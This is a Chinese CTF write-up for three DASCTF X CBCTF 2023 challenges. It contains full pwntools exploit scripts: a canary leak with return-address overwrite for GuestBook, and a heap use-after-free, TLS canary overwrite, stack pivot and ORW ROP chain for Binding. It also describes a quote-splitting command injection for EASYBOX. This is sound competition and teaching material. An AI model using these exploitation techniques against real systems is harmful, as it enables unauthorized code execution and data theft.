DASCTF X CBCTF 2023|无畏者先行

GuestBook

1.利用printf与\x00截断泄露canary
2.利用第一次向栈上写数据将shell写到return_address的位置
3.利用第二次向栈上写数据将canary的值恢复

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
# -*-coding:utf-8 -*-
from pwn import*
from LibcSearcher import*
io_ch=1
de_bug=0
arch='amd64'
filename='./a'
context(log_level = 'debug',os='linux',arch=arch)
if io_ch==1:
io=remote('node4.buuoj.cn',26191)
else:
io=process(filename)
if de_bug==1:
gdb.attach(io)
elf=ELF(filename)
libc=ELF('./libc-2.23.so')
# - - - - - - - - - - - - - #
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcg = lambda : u64(rc(6).ljust(8, b'\x00'))
# - - - - - - - - - - - - - #
shell=0x4012C3
num=0x4040B0
message=0x4040B8
i=0x4040c0
ret=0x000000000040101a
vuln=0x4012D2
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #
def attack():
print('attack start')
p1=b'b'*0x18
sla("Please input your name: ",p1)
ru('b'*0x18)
canary_0=u64(rc(8))+0xa0
canary=canary_0-0xaa

p2=b'2'
sla("How many messages would you like to leave(MAX 4): ",p2)
p3=b'a'*(0xa0-8)+p64(canary_0)+b'a'*8+p64(shell)
sleep(0.2)
sl(p3)
p4=b'b'*(0xa0-32-8)
sleep(0.2)
sl(p4)

print('canary_0: ',hex(canary_0))
print('canary: ',hex(canary))


if __name__=="__main__":

attack()
io.interactive()

EASYBOX

1.check_ip中并没有对 ‘ 与 “ 进行过滤

2.利用c””at fl’’ag读取flag到result.txt中

3.利用catCommand读取result.txt得到flag

Binding

结构

1
2
3
4
5
6
7
8
9
struct chunk_0{
}
struct chunk_1{
chunk_0_ptr(size)
}
struct note{
chunk_1_ptr(0x100)
......
}

可分配的堆块的大小为0xff-0x200,最大个数为14,容量充分

存在uaf,我们可以利用unsorted bin常规进行一个heap_base以及libc_base的泄露

存在沙盒,那我们可以打一个orw

edit函数中

1
2
3
4
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
read(0, s, 0x40uLL);

存在栈溢出,溢出24字节,可以覆盖canary+rbp+return

可以使用栈迁移,但需要我们对canary进行处理

1
2
3
4
5
puts("context1: ");
read(0, *(&note + v1), 8uLL);
buf = **(&note + v1);
puts("context2: ");
read(0, buf, 8uLL);

可以进行一个8字节的任意写,

我们可以利用edit函数中的栈溢出

这里学到了利用任意写覆盖fs:0x28canary,使canary可以被我们控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3
# -*-coding:utf-8 -*-
from pwn import*
from LibcSearcher import*
io_ch=1
de_bug=1
arch='amd64'
filename='./a'
context(log_level = 'debug',os='linux',arch=arch)
if io_ch==1:
io=remote('node4.buuoj.cn',28907)
#io=remote('172.21.144.1',9999)
else:
io=process(filename)
if de_bug==1:
gdb.attach(io)
elf=ELF(filename)
#libc=ELF('./libc.so.6')
#2.31
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# - - - - - - - - - - - - - #
s = lambda content : io.send(content)
sl = lambda content : io.sendline(content)
sa = lambda content,send : io.sendafter(content, send)
sla = lambda content,send : io.sendlineafter(content, send)
rc = lambda number : io.recv(number)
ru = lambda content : io.recvuntil(content)
rcg = lambda : u64(rc(6).ljust(8, b'\x00'))
# - - - - - - - - - - - - - #
def cmd(c):
sla("Your choice:",str(c))
def add(idx,size,data):
cmd(1)
sla("Idx:",str(idx))
sla("Size:",str(size))
sa("Content:",data)
def edit(idx,data1,data2):
cmd(2)
sa("Idx:",idx)
sa("context1: ",data1)
sa("context2: ",data2)
def show(idx,c):
cmd(3)
sla("Your choice:",str(c))
sla("Idx:",str(idx))
def free(idx):
cmd(4)
sla("Idx:",str(idx))
# - - - - - - - - - - - - - #
gadget=[0xe3afe,0xe3b01,0xe3b04]
# - - - - - - - - - - - - - #
def attack():
print('attack start')
add(0,0x180,'a'*0x8)
show(0,1)
ru("context:")
heap_base=u64(ru("context:")[-14:-8].ljust(8,b'\x00'))-0x2a0
add(1,0x180,'b'*0x8)
add(2,0x180,'c'*0x8)
add(3,0x180,'d'*0x8)
add(4,0x180,'e'*0x8)
add(5,0x180,'f'*0x8)
add(6,0x180,'g'*0x8)
add(7,0x180,'h'*0x8)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
show(7,0)
malloc_hook=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
pop_rdi=libc_base+0x23b6a
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
leave_ret=libc_base+0x578c8
canary=libc_base+0x1f3540+0x28
p1=b'flag\x00'
add(8,0x180,p1)
flag_addr=heap_base+5376
p=p64(0)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open)
p+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x100)+p64(read)
p+=p64(pop_rdi)+p64(flag_addr)+p64(puts)
add(9,0x180,p)
rop_addr=heap_base+6048
edit(b"0".ljust(0x30,b'\x00')+p64(rop_addr)+p64(leave_ret),p64(canary),p64(0))

if __name__=="__main__":
attack()
io.interactive()